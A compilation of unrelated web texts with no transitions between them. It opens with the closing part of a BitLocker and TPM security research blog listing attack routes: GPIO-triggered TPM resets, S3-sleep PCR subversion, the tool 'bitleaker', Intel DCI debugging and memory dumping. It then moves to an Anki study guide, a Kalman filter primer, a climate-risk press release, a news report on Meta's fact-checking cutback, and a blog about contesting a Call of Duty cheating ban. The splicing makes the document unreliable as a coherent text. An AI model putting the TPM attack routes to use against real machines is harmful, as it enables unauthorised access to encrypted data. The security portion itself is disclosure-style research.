• Recent blog: Dumping Memory to Bypass BitLocker on Windows 11
• HackerNews Discussion on that: https://news.ycombinator.com/item?id=42552227, with the blog-author adding: “what I’m guessing is that Microsoft is not accounting for every possible place the key can end up when they’re destroying secrets.”

TPM software attacks

dTPM: PCH can be reconfigured to assign the TPM reset pin as a generic GPIO. This allows software to reset the TPM via GPIO write.

• TPM GPIO fail: How bad OEM firmware ruins TPM security

dTPM & fTPM: Put system in S3 sleep mode. That fully turns off all peripherals, including TPM! -> TPM cannot remember PCR state.

• TPM should save state to non-volatile memory. But that is done on command of the OS, and can simply be patched out (e.g., with Linux kprobes)
• Specs don’t say what TPM should do on resume-from-boot if there is no PCR data saved in non volatile memory! -> some devices are broken (“secure” devices don’t reset PCRs to zero on wake from S3 without saved PCR values)
• A Bad Dream: Subverting Trusted Platform Module While You Are Sleeping
• Ready-made tool: bitleaker

dTPM & fTPM: Hardware debugger enabled too early without measuring anything -> get tpm-code-exec on clean slate, write any PCRs you want

• Forensic method for decrypting TPM-protected BitLocker volumes using Intel DCI

Conclusion

This was a fun journey! Not only did we discuss Windows Secure Boot but also Linux and TPMs. Drawing a succinct conclusion here is hard, since so much depends on your concrete threat model. Getting encryption to the masses, in a user-friendly way and with “good enough” security is a great goal. But getting actual secure encryption is another.

I feel that discrete TPMs, as they are currently implemented on most x86 platforms, aren’t great. Historically, there were more attacks against dTPMs than fTPMs, even though dTPMs are, in theory, way better certified and resistant against the “big guns” of fault injections, decapping, and the like. From my research, it seems that a lot of the attacks were much broader and attacked the integration of the TPM in the wider ecosystem rather than TPM cryptography.

However, firmware TPMs had some of the same integration issues, just fewer of them. In any case, relying just on Secure Boot, the way it is right now, with the Microsoft keys enrolled, is likely quite insecure. Adding a simple PIN or password makes any attack way harder, even when an attacker has physical access.

Revocations are impossible right now, though Linux is ahead on that front since many non-SBAT-capable shims have already been revoked due to severe unrelated security issues. There isn’t really a prevention against downgrade attacks on the BitLocker front, except for Microsoft rolling their keys, which will likely, and unfortunately, be a bit painful.

Let’s pour one out for all the affected users and sysadmins of the future. If you run BitLocker in your environment, think about your threat model, and if you would rather have more recovery screens (locking on PCR4), more user hassle (preboot authentication), or more “unknowns” (upgrading to the 2023 certificates).

I hope you enjoyed this journey and learned as much as I did! I’d love to talk to you if you have any further remarks or questions. Hit me up via thomas (at) neodyme.io.

38C3 Talk - Windows BitLocker — Screwed without a Screwdriver

I presented this research at 38C3. You can find the presentation here: https://media.ccc.de/v/38c3-windows-bitlocker-screwed-without-a-screwdriver

Getting Anki

Anki can be found at https://apps.ankiweb.net/. Website screenshot shown below.

The Android app is called AnkiDroid (free) and the iOS app is Anki (it’s $25 one time and goes to support the sole developer working on it)

You can sync between your mobile app and desktop application by using your AnkiWeb account.

The theory behind Anki: what is spaced repetition?

If you learn a fact, your memory of that fact will deteriorate rather quickly. If you review that fact a day, your memory will degrade less slowly. This means that reviewing things at specific increasing intervals will ensure that you always remember that fact. Here’s the cool part – increasing intervals! After each progressive review, your memory will degrade less slowly, which means that eventually, you’ll be reviewing your fact once per year, once per 3 years, or even less, while still retaining the information.

This is why spaced repetition and Anki are different from flashcards. You only review a fact when you’re about to forget it, which means you don’t waste time reviewing cards you already know. Let’s do some napkin math — 

Traditional flashcards vs Anki

Let me break this down, comparing traditional flashcards vs Anki’s spaced repetition system (SRS).

Assumptions:

Each card review takes ~5 seconds

Traditional flashcards: Reviewing all cards daily

Anki: Following typical SRS intervals that grow exponentially

Traditional Flashcards (100 cards):

100 cards × 5 seconds = 500 seconds (8.3 minutes) per day

180 days (6 months, an arbitrary period of time) × 8.3 minutes = 1,494 minutes (≈25 hours total)

Anki (100 cards):

Initial few days: ~100 cards/day (like traditional)

By week 2: ~40 cards/day

By month 1: ~20 cards/day

By month 3: ~10 cards/day

By month 6: ~5 cards/day

Rough Anki calculation:

Month 1: (~60 cards/day avg) × 30 days × 5 sec = 150 minutes

Month 2-3: (~15 cards/day avg) × 60 days × 5 sec = 75 minutes

Month 4-6: (~7 cards/day avg) × 90 days × 5 sec = 52.5 minutes

Total Anki time: ~277.5 minutes (≈4.6 hours total)

So Anki takes roughly 1/5 the time (4.6 vs 25 hours) while typically providing better retention due to optimal spacing of reviews. This is a simplified model – actual results vary based on card difficulty and individual memory patterns.

This means that you can have a deck of 100,000 cards and still keep up with it! You can memorize an insane amount of facts and retain them indefinitely.

How to use Anki?

Let’s look at the desktop app. Most of the apps work rather similarly.

Once you’ve downloaded the app, you can create a deck, which is a collection of cards.

Let’s add a card to this deck now.

Now we can study this card

Notice how you can select the difficulty you had in recalling the card. “Again” and “Good” should be self explanatory. My headcanon for when I select “Hard” is when I get something almost right (like one letter off) and “Easy” is for when I instantly recall the answer without even thinking about it.

The numbers above each button are how soon until you see that card again.

What can I do with Anki?

Reverse cards

The abstract form of a card in Anki is called a note. You can have a note that turns into multiple cards, for example.

One common use case for this is the “Basic (and reversed card)” — this is when you turn one note into two cards, with the fields swapped. This is useful when you decide to learn a foreign language and need to train both recognition and recall.

There’s more to this than you may think. Let’s say you speak English and are trying to learn Spanish. You’ll need to remember hello -> hola in order to speak the language. On the other hand, you’ll also need to understand the opposite direction of hola -> hello. This is so that when someone says that word, you’ll be able to comprehend them. 

With the reverse card feature, you can skip creating two cards when one will do, plus you won’t need to update the card twice when you need to change it.

Cloze deletion

Let’s say you’re trying to learn grammar in Spanish. In your textbook you’ll see this familiar table:

Yo quiero

Tú quieres

Él/Ella/Usted quiere

Nosotros queremos

Vosotros queréis

Ellos/Ellas/Ustedes quieren

You’ll be tempted to create the following card:

Front: Yo (querer)

Back: quiero

Stop! Don’t do it! There’s a better way!

The best way to learn this is by using context. We learn through pattern recognition, so it’s tough to apply facts memorized in isolation.

Create cards in this format instead:

Front: Yo ____ (querer) comer una manzana

​​Back:  Yo quiero comer una manzana

You’ll remember the conjugation in context and you’ll also get some free practice with the surrounding words. 

You can create these cards by using the Cloze card type and clicking here to delete a certain part of the word.

Image occlusion

This is basically cloze deletion but for images — you can black out certain parts of an image and then reveal it.

Audio

You can add audio cards! I’ve never done this, but it is an option, say for training listening comprehension.

Card design

The Fundamental Trade-off: there’s always a trade-off between creation time and review time. 

More effort during creation = Easier reviews later

Quick creation now = More challenging reviews

The beauty is that you get to choose where on this spectrum you want to be. If you don’t make this choice explicitly, it’ll be made for you implicitly.

Having a card in Anki is far more important than having a perfect card in Anki. Sometimes, I intentionally create “bad” cards just to get the information into the system. Later, when I have more time or when the card starts bothering me during reviews, I’ll clean it up. This approach keeps the momentum going while allowing for future improvements.

The best Anki cards share two key characteristics:

They’re extremely short (1-2 sentences)

They have minimal ambiguity

If you’re looking at paragraphs in your cards, that’s usually a red flag. While I have a few cards like that (intentionally), they’re the exception, not the rule.

Let’s look at what works and what doesn’t:

Good examples:

Vocabulary terms

Specific dates or events (like offices in the Cursus Honorum)

Clear, single-concept questions

Challenging examples:

Long, opinion-based content

Complex historical events (like the fall of the Western Roman Empire)

Detailed explanations that require multiple concepts

When dealing with complex topics (like system design), I use a different approach. Instead of trying to recall exact answers, I aim for conceptual understanding. For instance, with a question like “Why is caching useful?”, I’ll count it as correct if I can articulate the main concepts, even if I don’t recite the answer verbatim.

Don’t let perfect be the enemy of good. Start creating cards, use them, and let your review experience guide your improvements. The time you spend perfecting cards is time you could spend reviewing them – find the balance that works for you.

Sticking with it

Something that doesn’t get enough attention in the Anki community is how to stick with it long-term. After starting and stopping Anki at least 8 different times, I’ve learned some valuable lessons about maintaining a sustainable practice.

The most crucial piece of advice I can give you: don’t delete your decks. Ever. I’ve made this mistake too many times

• Always keep backups
• Store them even when you’re not actively reviewing
• Think of them as a knowledge investment

Returning to Anki after a break can be intimidating. Coming back to 1,000+ reviews is enough to make anyone want to quit before starting. This is fundamentally a UI/human psychology problem. The interface isn’t well-suited to handling breaks in usage. Fortunately there’s a hack:

• Adjust your daily review limit (in Options)
• Start with just 10 cards per day
• Gradually work your way back up
• Remember: any review is better than no review

Rather than treating Anki as a formal study session, I use it as a gap filler:

• During elevator rides
• On the train
• Waiting for food
• Any spare moment where I might normally check Twitter

Even minimal use is incredibly powerful. Reviewing 5 cards is better than 0. Some days, I only do 1 card. The goal is maintaining the habit, not hitting perfect numbers.

Make your own decks

This is important enough to warrant its own section. Don’t download huge decks from the internet, make your own. I’d recommend downloading a deck only if it’s less than 50 cards (let’s say learning an alphabet, or something like that).

The problem is that Anki is not for learning, it’s for reviewing. Learning on Anki is incredibly painful since you’re learning without context. If you use someone else’s cards, you’ll hit a brick wall.

Using Anki for language

I primarily use Anki for language learning. Most of my cards are straight vocab, with a few being cloze deletions (not enough I’d say).

A few quick notes

• Shove it into Anki (even if you don’t think you need it). I regret not having more cards. I only spent around 25 hours!!!! this year reviewing Anki.
• If you have multiple words with the same meaning (eg wealthy, affluent), generate two different images and then put them on the front of each card. You’ll associate the word with the image so you’ll remember both individually
• If a word isn’t sticking, create a mnemonic for it and put an image reminder of the mnemonic on the front of the card.
• My Russian teacher gives me a long list of vocab words after a lesson. I have a virtual assistant input them into Anki — I highly recommend this if you’re falling behind on card creation! You can also input words via .csv.

Using Anki for Leetcode

I also use Anki for Leetcode practice. Instead of endless random practice, I focused on mastering a core set of problems. Traditional LeetCode practice assumes you’ll naturally absorb patterns through repetition. Since I have a poor memory, this empirically wasn’t effective — I’d do a problem, retry it a week later and have completely forgotten how I had done it. 

The process:
Selected about 30 fundamental LeetCode problems

Created simple Anki cards for each problem

Front of card: Problem name/link

Back of card: Just time/space complexity

When a card comes up, I:

Open LeetCode

Solve the complete problem

Review complexity

Mark the card as done

As you can see I’m using Anki purely as a scheduling tool. 

The goal is not to memorize solutions per se, but rather common patterns. For example: converting adjacency matrix to adjacency list is now a pattern I recognize instantly. I wanted to focus on building “muscle memory” for common coding patterns.

The most common criticism I get is about overfitting – the worry that I’ll only learn to solve these specific problems. I’m not really worried because – 

• My memory isn’t great (ironically, this helps)
• The goal is pattern recognition, not memorization
• These patterns transfer well to similar problems

So far, I can say it’s been working quite well. I’m far more comfortable with Python syntax in a Leetcode context, and I can apply chunks of what I’ve memorized elsewhere in new problems.

I used to panic during coding interviews. Every interview felt like starting from zero and I had a significant fear of blanking out.

Memorization transformed my entire interview mindset:

• Instead of “solve this impossible problem,” it became “identify the right pattern”
• Having a solid foundation of memorized patterns gives confidence
• The interview feels more like pattern matching than pure problem-solving
• I became way, way calmer during interviews

What decks do I have?

Active

• Early Christianity in the WRE
• Leetcode V2
• Maximum NYC
• NATO Phonetic Alphabet
• Northeast trees
• NYC City Council Members
• Robert’s Rules of Order
• Russian
• Russian Cursive Alphabet
• Sys Design
• The New Colossus Poem
• Vim

Archived

• Clojure
• Graduate Intro to Operating Systems
• Leetcode
• Spanish

My Anki decks can be downloaded here

What should you memorize and why?

Let’s start with the obvious ones:

Academic Learning

The canonical use case for Anki is coursework, and for good reason. Beyond just acing tests, memorizing specific facts creates a mental scaffolding that helps you grasp bigger concepts. I’ve found that having these little details firmly in mind gives you something concrete to anchor those abstract theories to. If you’re interested in this check out how med students use Anki to memorize stuff for their coursework.

Language Learning

This one’s a no-brainer. Anki feels like it was purpose-built specifically for vocabulary and language learning. It’s perfect for that steady accumulation of words and phrases that language mastery requires.

I’ve also been experimenting with some less conventional uses:

Nature Knowledge

I’m currently using Anki to memorize trees in my area. It’s part of my goal to be more outdoorsy in New York, and having this knowledge makes every walk more engaging.

Literature

I’ve started creating cards for poetry & quote memorization. This is tough since I find memorizing ordered lists difficult.

Book Retention

I’m experimenting with transforming entire nonfiction books into Anki decks. For example:

• “Through the Eye of the Needle” by Peter Brown (about early Christianity)
• “Designing Data-Intensive Applications” (a technical book)

The time investment for experimentation is surprisingly low. I spent 25 hours total this past year on Anki, so a failed experiment might only cost me 5 hours across an entire year. That’s a pretty low-risk way to potentially discover a game-changing use case.

I don’t have definitive advice about what you should be memorizing. What I do know is that experimentation is key. The time cost is low enough that trying new approaches is almost always worth it.

Before delving into the Kalman Filter explanation, let us first understand the necessity of a tracking and prediction algorithm.

To illustrate this point, let's take the example of a tracking radar.

Suppose we have a track cycle of 5 seconds. At intervals of 5 seconds, the radar samples the target by directing a dedicated pencil beam.

Once the radar "visits" the target, it proceeds to estimate the current position and velocity of the target. The radar also estimates (or predicts) the target's position at the time of the next track beam.

The future target position can be easily calculated using Newton's motion equations:

When dealing with three dimensions, Newton's motion equations can be expressed as a system of equations:

The set of target parameters \( \left[ x, y, z, v_{x},v_{y},v_{z},a_{x},a_{y},a_{z} \right] \) is known as the System State. The current state serves as the input for the prediction algorithm, while the algorithm's output is the future state, which includes the target parameters for the subsequent time interval.

The system of equations mentioned above is known as a Dynamic Model or State Space Model. The dynamic model describes the relationship between the input and output of the system.

Apparently, if the target's current state and dynamic model are known, predicting the target's subsequent state can be easily accomplished.

In reality, the radar measurement is not entirely accurate. It contains random errors or uncertainties that can affect the accuracy of the predicted target state. The magnitude of the errors depends on various factors, such as radar calibration, beam width, and signal-to-noise ratio of the returned echo. The random errors or uncertainties in the radar measurement are known as Measurement Noise.

In addition, the target motion is not always aligned with the motion equations due to external factors like wind, air turbulence, and pilot maneuvers. This misalignment between the motion equations and the actual target motion results in an error or uncertainty in the dynamic model, which is called Process Noise.

Due to the Measurement Noise and the Process Noise, the estimated target position can be far away from the actual target position. In this case, the radar might send the track beam in the wrong direction and miss the target.

In order to improve the radar's tracking accuracy, it is essential to employ a prediction algorithm that accounts for both process and measurement uncertainty.

The most common tracking and prediction algorithm is the Kalman Filter.

Don't miss out on the Black Friday special!

16 January 2025

Current climate policies risk catastrophic societal and economic impacts

The global economy could face a 50% loss in GDP between 2070 and 2090, unless immediate policy action on risks posed by the climate crisis is taken. Populations are already impacted by food system shocks, water insecurity, heat stress and infectious diseases. If unchecked, mass mortality, mass displacement, severe economic contraction and conflict become more likely.

‘Planetary Solvency – finding our balance with nature’ is the IFoA’s fourth report in collaboration with climate scientists. The report develops a framework for global risk management to address these risks and show how this approach can support future prosperity. It also shows how a lack of realistic risk messaging to guide policy decisions has led to slower action than is needed.

The report proposes a novel Planetary Solvency risk dashboard, to provide decision-useful risk information to support policymakers to drive human activity within the finite bounds of the planet that we live on.

Sandy Trust, Lead author and IFoA Council Member, said:

“You can’t have an economy without a society, and a society needs somewhere to live. Nature is our foundation, providing food, water and air, as well as the raw materials and energy that power our economy. Threats to the stability of this foundation are risks to future human prosperity which we must take action to avoid.

“Widely used but deeply flawed assessments of the economic impact of climate change show a negligible impact on GDP, rendering policymakers blind to the immense risk current policy trajectories place us in. The risk led methodology, set out in the report, shows a 50% GDP contraction between 2070 and 2090 unless an alternative course is chartered.”

If you wish to learn more about climate risk concepts relevant to actuarial work, the IFoA offers an 8-week online Climate Risk and Sustainability Course.

In northern India, a 20-year-old Muslim man was beaten to death by a mob after being accused of transporting cows, which are sacred to Hindus, for slaughter.

He was a victim of cow vigilantes who have documented their attacks in the name of "cow protection" in at least another 166 videos on Instagram.

It's this type of case experts point to as fears rise about the scaling back of fact-checking of social media content.

"Unchecked hate speech doesn't just stay online — it spills into the real world with deadly consequences," said Raqib Hameed Naik, head of the Centre for the Study of Organized Hate (CSOH).

Meta announced earlier this month that it would stop using independent fact-checking organisations to moderate content on the company's platforms Facebook, Instagram and Threads.

CEO Mark Zuckerberg said the fact-checkers had become "too politically biased" and his new plans would help ensure free speech.

But in places like India, Meta's largest market with more than 500 million users, Mr Naik warned that unchecked narratives posed a grave threat not only to online discourse but also to public safety.

What are Meta's plans?

Meta has relied on subcontractors to flag and debunk posts.

But the third-party fact-checking program that began in 2016 is being terminated in the United States and experts expect that it will be extended to other parts of the world in the coming months.

The ABC asked Meta about future plans but it wouldn't respond on the record.

For now, in the US, Meta is turning to a feature called Community Notes that relies on platform users flagging potentially misleading content.

Notes are displayed once users reach a majority consensus on its accuracy.

Critics warn that if Meta's changes extend to fragile democracies like India, Myanmar and the Philippines, the consequences will include more polarisation, violence and social disorder.

"Some of these countries are highly vulnerable to misinformation that spurs political instability, election interference, mob violence and even genocide," the International Fact-checking Network (IFCN) said.

The Philippines: Dangerous labels with deadly implications

Across the region, social media platforms such as Facebook, Instagram, and WhatsApp dominate as news sources for billions, leaving them particularly vulnerable to disinformation, hate speech, and political propaganda.

In the Philippines, Meta's fact-checking partners, including AFP and Vera Files, have played a crucial part in countering election-related disinformation.

Nobel laureate and Filipino journalist Maria Ressa warned of "extremely dangerous times ahead" for journalism and democracy.

Celine Samson, a fact-checker with Vera Files, said roles like hers were especially important during the last election.

Vera Files recorded a rise in misinformation posts that used a particularly dangerous tactic in the Philippines — portraying opposition leaders as communists.

While the term "communist" may seem relatively harmless elsewhere, in the Philippines, it can be life-threatening.

When fact-checkers flag false content, Meta can limit its reach or remove it if it violates standards.

"If there is a repeat offender of misinformation, it gets a label and lowered visibility and they lose their ability to monetise on the platform which I think is where it hits the most," Ms Samson said.

"Removing this program means one less layer of protection against misinformation."

Myanmar: A warning from the past

In Myanmar, Facebook is widely seen as "the internet".

During the 2017 Rohingya crisis, Facebook was found to have played a key role in the spread of hate speech, contributing to violence against the Muslim minority.

Despite pledges to address failures, Facebook remains a hotbed for disinformation there.

Naw Wah Paw, director of The Red Flag which focuses on research and social media monitoring, said the military and other actors were already well-versed in evading detection and inciting violence.

"We are facing a rise in military misinformation, propaganda, and disinformation campaigns," said Naw Wah Paw.

"We've tracked posts that use terms like 'lay the eggs' to mean bombing or 'doing make-up' to mean hitting someone.

"Without fact-checkers, platforms like Facebook risk becoming even more chaotic."

She said Meta's fact-checking partners, which are required to meet strict non-partisanship standards, were vital when it came to understanding the local language and contexts.

Fears for the vulnerable

Meta has framed its decision to reduce fact-checking as a commitment to "free expression", but critics say this hands-off approach is risky.

"Mark Zuckerberg's claim that fact-checkers are 'biased' completely ignores how essential they are in regions where disinformation is a tool of oppression," said Jonathan Ong, a professor of global digital media at the University of Massachusetts.

"Zuckerberg's announcement signals to the world they're done apologising for social media harms and appeasing legacy media."

Professor Ong said he feared for regions that were already vulnerable.

"[He] positions Meta as a defender of free speech — at the expense of marginalised communities worldwide.

"The countries most harmed by unchecked social media … will now bear the heaviest burden of Meta's retreat from accountability."

Adi Marsiela, from Indonesia's largest fact-checking group Cek Fakta, said the changes were concerning for countries with low digital literacy rates like his.

Indonesia had more than 119 million active Facebook users and at least 100 million Instagram users last year.

Mr Marsiela said the COVID pandemic demonstrated the importance of checking social content.

"Hoaxes developed rapidly during the pandemic and fact-checkers were essential in combating misconceptions," he said.

Mr Marsiela highlighted the proliferation of fake job scams, and sensationalised environmental disaster content designed to boost engagement and monetisation.

"The algorithm promotes stories that are more interesting than relevant, which is why independent fact-checkers remain essential," he said.

I want to clarify that this blog is just to share my experience. The “important” part you are likely after is in the “Legal” section of this post.

Any contact information can be found here.

This is NOT legal advice!!! Everyone’s experience may have different outcomes.

I have been fighting this ban placed on my Activision and Steam account for just over 2 years. On December 11th, 2024, during my second court case, it was ruled that I should have my suspension removed from the Call of Duty Franchise and all court fees paid. There were a few factors that led to this decision which I will go into more detail later on in this post. Key points include the hours played on my Steam account, other titles played with zero issues and most importantly, the lack of evidence that I broke the TOS on Activision Blizzard’s (AB) side.

For over 2 years (763 days as of writing) I was wrongly accused of cheating and false banned from Call of Duty: Modern Warfare 2022. As of 08/01/2025, this has been officially lifted on all platforms.

It has taken countless support chats, emails and phone calls to get this resolution so if you decide to take similar measures then be prepared to be in for a long and stressful journey. Here are a few resources I found very useful and may be of use to you, in case you haven’t seen them:

Mike Swanson’s Blog is written by a former Microsoft employee of 12 years who has shared his story with Activision. A good chunk of the pages I submitted to the courts were this blog (with Mike’s consent). It was extremely helpful to be able to refer to someone with credentials to get my point across.

AntivisionBlizzard is another website that was of use and was one of the cases I had read that made me consider legal action. Also a good example of someone from the US taking the legal route.

COD False Ban Community is a Discord server that I had joined when it had hundreds of members. Being here from the start, I have seen so many stories of innocent players being banned and referred to this community in court. This is where I obtained most if not all the resources above from.

Hi, I’m b00lin! A name you likely have never seen before until now which is partly why this entire process was incredibly difficult. Activision tend to cater to those with a following; unfortunately I am not one of those people. I hold a degree in Computer Science and work in IT. While I may not know much about the law, I do have a good idea how computers work! I also play a lot of games (205 games in my Steam library).

I have sunk a lot of hours (and money) into gaming on Steam which is why this matter was so important to me.

I also play a lot of games that are not on Steam, Valorant being a good example. This is particularly important as Riot Games’ anti-cheat (Vanguard) is much-more-aggressive than Activision Blizzard’s anti-cheat (Ricochet). Riots anti-cheat will go as far as blocking certain files from loading on the machine (even if it does not manipulate Valorant files or game data).

On 30th June 2022, I pre-ordered Call of Duty: Modern Warfare II (2022) after playing the previous instalment of Modern Warfare II. This gave me access to play the game early (beta version of the game meaning bugs and issues are possible).

After 36.2 hours of gameplay, on the 11th November 2022, I opened my Steam profile to be greeted with a ban message. It stated that I was permanently banned from Modern Warfare II (2022), resulting in a marker being displayed on my Steam profile. Naturally, I attempt to find out why I was banned and appealed the ban. I received the dreaded email that most of you reading received.

My ban was “reviewed” and permanently banned for using “unauthorized software and manipulation of game data”.

Naturally, I am annoyed about this and the appeals to get this reversed begin. Returning back to Activision’s website you will find nothing of use. I tried to appeal via the website however it was denied (yet to see one get accepted). Activision does not let you appeal more than once which starts the process of trying other places to plead your case.

To keep it short, I did what most people have done.

• Contact Activision support numerous via their ticket system
• Open multiple bbb.org tickets
• Attempt to phone Activision support (not possible)
• Contact anyone from Activision via LinkedIn
• Sending a letter AND email

Doing all of this I was told that my account would remain banned and that the decision was final. When appealing these bans, I would often ask if there was any proof of the “unauthorized software” used. The answer I always received was that they are unable to due to it being a security risk and could expose how the anti-cheat works.

There were multiple issues I had with this:

• Knowing information such as the name of the software, IP address that was used and how the software manipulated game data would all be known to a cheat developer. Not even this harmless information is provided.
• How can I prove that I didn’t cheat when no information has been provided? Was it Logitech G Hub? iCUE? OBS? To date I still don’t know what caused the false ban.
• Allegedly the anti-cheat driver kernel was leaked around 3 years ago, meaning cheat developers already have a good idea how the anti-cheat works.
• Just like anti-cheat’s, cheating has become a multi-million-dollar industry, and where there’s a will, there’s always a way. Fighting against cheaters is a cat and mouse game, no game will have zero cheaters. Even simple games like Muck and WEBFISHING will spawn in cheaters.

Before I get into the legal side, the EULA is something I want to touch on. From the start I have strongly recommended people to NOT ban evade and NOT use HWID (Hardware Identification) spoofers of any kind. This kind of activity might be seen as a violation of the TOS, even if the ban was invalid. You could argue that the original ban reason is for a totally different reason if Activision were ever to try and bring that up. I’m not a lawyer though, just speculating what could be a possibility (if they even care to get the evidence of that).

Activision’s EULA I am very familiar with at this point, most of it I found being irrelevant except Section 3. The legal team will also often refer to this. There is a noteworthy clause in the EULA that in layman’s terms, states that Activision can terminate your licence without a reason/for whatever they want.

In my experience, this clause did not work for Activision when they tried to use this in court because on numerous occasions had stated the “unauthorized software” reason multiple times, meaning they should be prepared to argue/defend that reason.

After so many attempts of trying to come to a resolution, taking it to the legal system was the only option. Offering to sign NDA’s and use an Alternative Dispute Resolution (ADR, which is required before to do before UK courts) was not enough. ADR is simply a way of trying to come to an agreement before going to court.

Again, I DO NOT know the law. I would do it differently if I had to do it again (hopefully I don’t) however, this is just how it played out based on what I was advised.

I started off by filing a Money Claim Online (MCOL) in January 2024 to the courts in the UK. I paid the fee, and claimed for the cost of the game + the fee to file the claim. Weirdly enough, I had no answer from Activision which resulted in me winning by default. This meant I had won and it is over right? Right?

When giving my bank details to be paid out, I requested that they also remove the ban from my account and gave notice that I would go back to the courts if they failed to remove the suspension. Activision paid me out but still refused to remove the suspension placed on my account. Their reasoning was that the courts did not order them to do so therefore they wouldn’t. I am sure they wish they had done so because it ended up costing them in the long run.

Annoyed that I still had my ban, I followed up and started getting advice as to how I can file for something that isn’t money related. After many phone calls with Citizens Advice and the courts, I found that I had to issue a non-money claim. The downside to this is that it gets expensive very quickly, paying £365/$462 just to file the claim and roughly another £360/$454 to pay the for the actual hearing.

Eventually I managed to get it filed with the courts and the legal nightmare continues. It is at this point that Activision decide to pass the case to a law firm and no longer wish to deal with it themselves, something I have seen them do with other cases.

I’ll admit, this isn’t fun and can be incredibly intimidating to someone who doesn’t know the law. I’ll skip past all of the boring filings that have to be done and get straight to the main points.

Their defence throughout the entire 2 years has been the exact same, that I cheated and they have the right to permanently suspend my account. The lawyers they hired also parrot the same thing that I have been told by Activision countless times.

I decided to try one last time to try and come to an agreement with Activision (UK courts encourage this). I phoned the law firm acting on behalf of Activision and was willing to settle under the following terms:

• Request that the suspension be removed on my Activision account and all accounts linked to it. 
• In return, I would waive all monetary claims related to this new claim (the filing and hearing fee) AND return the £94.99 that was paid when I did the Money Claim Online.
• Not pursue any further action towards Activision Blizzard regarding this matter
• Sign a non-disclosure agreement regarding the terms of the agreement as well as being open to terms being changed as they see fit.

The law firm reported this information back to Activision but they declined once again. They believed that they were in the right and that the ban should remain. It was at this point the law firm suggested I should withdraw my claim because it was an abuse of the Court’s process, meaning my case would be dismissed immediately and thrown out. The email also noted that if I were to continue the claim, it would be struck out immediately by the Judge. As a result, they would also recover legal costs meaning I would be in an insane amount of debt.

As someone who is not a lawyer, I wanted to back down and trust the lawyer who knows the law. Looking back, I assume that this is what they wanted me to think. They wanted to intimidate so I didn’t show up, I am very glad that I didn’t.

Since neither parties could come to an agreement, it actually ended going all the way to the courts. I assume Activision wouldn’t expect me to take it this far but here we are!

In the UK court small claims court system, both parties have to submit the evidence they intend to use to the court AND the other party. When they submitted the evidence they intended to use, I noticed straight away there was zero evidence of what they are accusing me of.

??????

This meant that if I didn’t commit any abuse of process within the courts, my case would be heard and Activision would have no evidence to show what they are claiming. It would appear that Activision’s anti-cheat/security team is so strict that the people they hired to defend them were not allowed to see any “evidence” of the “unauthorized software or manipulation of game data”.

Knowing this information gave me a bit more confidence however there was an issue. In their defence, Activision explained that the burden of proof should be on me as “there is no requirement for Activision to prove that I had cheated” and “any burden rests on the Claimant” (me). The Judge agreed with this so I had the task of providing evidence that I didn’t cheat.

This was going to be difficult as I had to try and prove a negative. On top of this, I had nowhere to start as I was still unaware of what could have been flagged by the anti-cheat. The only way I could plead my case was by showing evidence that contradicted the claim being made. The points made were:

• I have played a lot of games over the course of 7 years with zero issues.
• Having 36.2 hours playtime and being banned makes no sense when my other games have 100’s or 1000’s of hours put into them.
• I would not be putting myself through a strenuous process of 2 years in an attempt to get this resolved.
• I was not suing for money and just wanted the suspension removed. Furthermore, I also noted that I wanted nothing to do with Activision after this.
• The game was in beta at the time of being banned meaning the product was incomplete. This means that it was susceptible to bugs because it was incomplete. (It can still be argued that the game still has a lot of bugs).

As part of the UK court process, the defendant was allowed to ask me a set of questions. These questions that they asked happened to work in my favour. Here are a few of those questions they asked (paraphrased):

• Do you believe cheaters are bad?
• How should companies deal with cheating?
• Have you ever played a game with so many cheaters that you have stopped playing that game?
• Do you agree that cheating on PC is much more of an issue than console?

Of course I believe cheating in games is bad. I also believe that companies should ban those who cheat in games. However, I made it very clear that an anti-cheat should ban those that are actually cheating, not innocent players. I mentioned that I had stopped playing a game because of cheaters (CS2) but picked it back up because of FACEIT where I made it clear that I had willingly opted into using an anti-cheat in order to combat those cheaters.

The final question asks if cheating on PC is more of an issue than it is on console is quite interesting. I never made these points in court but as it wasn’t relevant but think it deserved a mention here. The freedom PC users have over their hardware makes cheating much more of an issue. What doesn’t add up is that a large amount of console users are also getting banned by the anti-cheat. To my knowledge, there are no public/known exploits that can be done on the newer gen consoles to use unauthorised third party software or manipulate game data. If that is the case, how are so many people being banned on consoles for this? Someone can correct me on this if it is incorrect.

During the case, the lawyers also mentioned that the ban should remain because it had been “reviewed” and they could “confirm” that I had “broken” the EULA/TOS. This was an interesting point because it made both me and the Judge question, who actually reviews these complaints/appeals?

What kind of credentials do they have?

How rigorous are these reviews?

Does anyone even review these appeals?

I’m sure a few of you have been told that your case has been “reviewed” and possibly more than once. On numerous occasions, I have been told that my case was “reviewed” and that the decision was final. It was only until this was mentioned in the court that it was challenged.

It was decided that I should have my suspension removed AND have the court filing and court hearing fee repaid by Activision. A combination of the evidence I submitted (a good chunk of it being Mike Swanson’s Blog) and lack of evidence submitted by Activision led to this decision. The Judge was also satisfied with the case that I had put forward and that I wouldn’t have cheated on their game. The Judge also found Activision to be the one in violation of the contract and with that, 2 years of phone calls, emails and reading pages of legal jargon had finally come to an end.

To me this ban mattered a lot. Having a Steam profiles reputation ruined after 7 years of ownership is what fuelled me to keep going and not give up. A ban for something I did not do on a profile I cherish and have spent 1000’s did not sit right. For games like Counter Strike 2, it takes into account the Steam profiles standing when matching you with players. Those with a poor standing can get put into lower quality matches.

This ban also ruined other games for me. If I ever did well in a game, someone would look at my profile to see how many hours I have and instantly see the red marker that shows “I am a cheater”.

Once people see that you have a game ban on record, in their mind it confirms you were cheating because “an anti-cheat would never be wrong”. A lot of these people will hopefully never have to go through this process which means they would never know it is an issue that exists.

Unbanning Process

Unfortunately I do not have a date of when I was unbanned on Activision’s end but the ban was lifted.

If I had to guess it was done within 14 days of the court hearing however, the ban was not removed from Steam at the same time. In my experience, it is very important to specify that Activision need to contact Steam in order to remove the ban as Steam themselves state they are unable to modify or remove game bans. Any attempt to contact Steam will result in them redirecting you to the game developer.

The Steam game ban was removed on the 8th January 2025.

Conclusion

After fighting this false ban for over two years, I am happy to say it is finally over. In my opinion, it was worth the effort just to see the account alert above. Hopefully I have highlighted that this is a serious issue that should be resolved. False permanent and shadow bans are still prevalent in the newer titles that use the Ricochet anti-cheat. This will likely continue to be an issue because it isn’t something being addressed on a larger scale.

I want to once again thank everyone who has helped throughout, especially those who documented their own experiences and provided resources that were useful in court.

University of Birmingham – A research paper was conducted to show that cheaters will commonly bypass Microsoft Windows kernel protections.

University of Birmingham – The research paper mentioned above. It discusses anti-cheat’s effectiveness.

